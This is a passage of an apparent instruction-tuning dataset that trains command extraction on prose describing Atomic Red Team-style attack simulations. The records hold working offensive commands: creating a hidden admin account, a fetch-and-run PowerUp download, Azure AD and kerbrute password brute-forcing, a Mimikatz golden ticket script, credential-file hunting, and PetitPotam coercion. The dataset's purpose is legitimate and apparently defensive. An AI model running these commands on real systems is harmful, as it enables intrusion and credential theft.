    "output": "{\"command_list\": [\"dscl . -create /Users/AtomicUser\\ndscl . -create /Users/AtomicUser UserShell /bin/bash\\ndscl . -create /Users/AtomicUser RealName \\\"Atomic User\\\"\\ndscl . -create /Users/AtomicUser UniqueID 503\\ndscl . -create /Users/AtomicUser PrimaryGroupID 503\\ndscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser\\ndscl . -passwd /Users/AtomicUser mySecretPassword\\ndscl . -append /Groups/admin GroupMembership AtomicUser\", \"sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To capture packets with domain AF_PACKET and type SOCK_RAW for 3 seconds while applying a BPF filter for UDP traffic, use the following command: sudo #{program_path} -a -f -t 3; For network traffic capture with PowerShell, execute this multi-step command: New-NetEventSession -Name Capture007 -LocalFilePath \"$ENV:Temp\\\\sniff.etl\"\nAdd-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100\nStart-NetEventSession -Name Capture007\nStop-NetEventSession -Name Capture007\nRemove-NetEventSession -Name Capture007\n",
    "output": "{\"command_list\": [\"sudo #{program_path} -a -f -t 3\\n\", \"New-NetEventSession -Name Capture007 -LocalFilePath \\\"$ENV:Temp\\\\sniff.etl\\\"\\nAdd-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100\\nStart-NetEventSession -Name Capture007\\nStop-NetEventSession -Name Capture007\\nRemove-NetEventSession -Name Capture007\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a hidden file within a hidden directory, use the following command:\nmkdir /var/tmp/.hidden-directory\necho \"T1564.001\" > /var/tmp/.hidden-directory/.hidden-file\n; For hiding files in MacOS, run the following command: xattr -lr * / 2>&1 /dev/null | grep -C 2 \"00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00\"",
    "output": "{\"command_list\": [\"mkdir /var/tmp/.hidden-directory\\necho \\\"T1564.001\\\" > /var/tmp/.hidden-directory/.hidden-file\\n\", \"xattr -lr * / 2>&1 /dev/null | grep -C 2 \\\"00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following script will brute force an Azure AD user via the AzureAD PowerShell module, executing the command: Import-Module -Name AzureAD\n\n$passwords = \"#{passwords}\".split(\"{`n}\")\nforeach($password in $passwords) {\n  $PWord = ConvertTo-SecureString -String \"$password\" -AsPlainText -Force\n  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\n  try {\n    Write-Host \" [-] Attempting ${password} on account #{username}.\"\n    Connect-AzureAD -Credential $Credential 2>&1> $null\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\n    Write-Host \" [!] #{username}:${password} are valid credentials!`r`n\"\n    break\n  } catch {\n    Write-Host \" [-] #{username}:${password} invalid credentials.`r`n\"\n  }\n}\nWrite-Host \"End of bruteforce\"; The process involves bruteforcing a user's password from a provided wordlist via the command: cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\\bruteuser.txt TestUser1 \n",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n\\n$passwords = \\\"#{passwords}\\\".split(\\\"{`n}\\\")\\nforeach($password in $passwords) {\\n  $PWord = ConvertTo-SecureString -String \\\"$password\\\" -AsPlainText -Force\\n  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\n  try {\\n    Write-Host \\\" [-] Attempting ${password} on account #{username}.\\\"\\n    Connect-AzureAD -Credential $Credential 2>&1> $null\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] #{username}:${password} are valid credentials!`r`n\\\"\\n    break\\n  } catch {\\n    Write-Host \\\" [-] #{username}:${password} invalid credentials.`r`n\\\"\\n  }\\n}\\nWrite-Host \\\"End of bruteforce\\\"\\n\", \"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\\\\bruteuser.txt TestUser1 \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To use Snaffler for enumerating accessible shares and credential files within a domain, run the following command: invoke-expression 'cmd /c start powershell -command { cmd /c \"#{snaffler_path}\" -a -o \"#{output_path}\" }; start-sleep 90; stop-process -name \"snaffler\"'; To simulate a Golden Ticket attack while keeping the current session clean, this procedure creates a temporary session where the ticket is injected and used to access SYSVOL. The complete operation can be performed with this multi-step command: Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\golden.txt 2>&1 (\n  echo Purge existing tickets and create golden ticket:\n  klist purge\n  #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt\" \"exit\"\n\n  echo.\n  echo Requesting SYSVOL:\n  dir \\\\#{domain}\\SYSVOL\n  \n  echo.\n  echo Tickets after requesting SYSVOL:\n  klist\n\n  echo.\n  echo End of Golden Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n    if ($_ -match 'End of Golden Ticket attack') { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore",
    "output": "{\"command_list\": [\"invoke-expression 'cmd /c start powershell -command { cmd /c \\\"#{snaffler_path}\\\" -a -o \\\"#{output_path}\\\" }; start-sleep 90; stop-process -name \\\"snaffler\\\"'\\n\", \"Remove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\\n# get current domain SID if default was used\\n$domain_sid = \\\"#{domain_sid}\\\"\\nIf ($domain_sid -Match \\\"DEFAULT\\\") {\\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\\n}\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to golden.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\golden.txt 2>&1 (\\n  echo Purge existing tickets and create golden ticket:\\n  klist purge\\n  #{mimikatz_path} \\\"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt\\\" \\\"exit\\\"\\n\\n  echo.\\n  echo Requesting SYSVOL:\\n  dir \\\\\\\\#{domain}\\\\SYSVOL\\n  \\n  echo.\\n  echo Tickets after requesting SYSVOL:\\n  klist\\n\\n  echo.\\n  echo End of Golden Ticket attack\\n)\\n\\\"@ -Replace \\\"DOMAIN_SID\\\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\\\golden.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\golden.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n  Start-Sleep 1 # wait a bit so the output file has time to be created\\n  Get-Content -Path \\\"$env:TEMP\\\\golden.txt\\\" -Wait | ForEach-Object {\\n    if ($_ -match 'End of Golden Ticket attack') { break } \\n  }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\golden.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following PowerShell script establishes an M365 inbox rule to filter and delete emails with suspicious keywords, using this command block: Import-Module ExchangeOnlineManagement\n$password = ConvertTo-SecureString -String \"#{auth_password}\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{auth_username}\", $password\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\"phish\",\"malware\",\"hacked\") -Confirm:$false -DeleteMessage:$true; Authentication coercion is achieved by running PetitPotam's executable using this command:\n& \"#{petitpotam_path}\" #{captureServerIP} #{targetServerIP} #{efsApi}\nWrite-Host \"End of PetitPotam attack\"",
    "output": "{\"command_list\": [\"Import-Module ExchangeOnlineManagement\\n$password = ConvertTo-SecureString -String \\\"#{auth_password}\\\" -AsPlainText -Force\\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{auth_username}\\\", $password\\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\\\"phish\\\",\\\"malware\\\",\\\"hacked\\\") -Confirm:$false -DeleteMessage:$true\\n\", \"& \\\"#{petitpotam_path}\\\" #{captureServerIP} #{targetServerIP} #{efsApi}\\nWrite-Host \\\"End of PetitPotam attack\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": 